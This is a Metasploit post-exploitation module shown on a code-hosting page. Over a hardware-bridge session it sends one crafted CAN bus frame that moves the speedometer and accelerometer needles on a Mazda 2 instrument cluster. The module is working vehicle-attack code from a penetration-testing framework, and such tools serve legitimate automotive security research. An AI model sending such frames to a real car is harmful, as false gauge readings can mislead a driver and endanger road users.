Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/mazda_ic_mover.rb
21645 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
def initialize(info = {})
9
super(
10
update_info(
11
info,
12
'Name' => 'Mazda 2 Instrument Cluster Accelorometer Mover',
13
'Description' => %q{This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster.},
14
'License' => MSF_LICENSE,
15
'Author' => ['Jay Turla'],
16
'Platform' => ['hardware'],
17
'SessionTypes' => ['hwbridge'],
18
'Notes' => {
19
'Stability' => [SERVICE_RESOURCE_LOSS],
20
'SideEffects' => [SCREEN_EFFECTS],
21
'Reliability' => []
22
}
23
)
24
)
25
register_options([
26
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
27
])
28
end
29
30
def run
31
unless client.automotive
32
print_error('The hwbridge requires a functional automotive extention')
33
return
34
end
35
print_status('Moving the accelorometer and speedometer...')
36
client.automotive.cansend(datastore['CANBUS'], '202', '6001606060606000')
37
end
38
end
39
40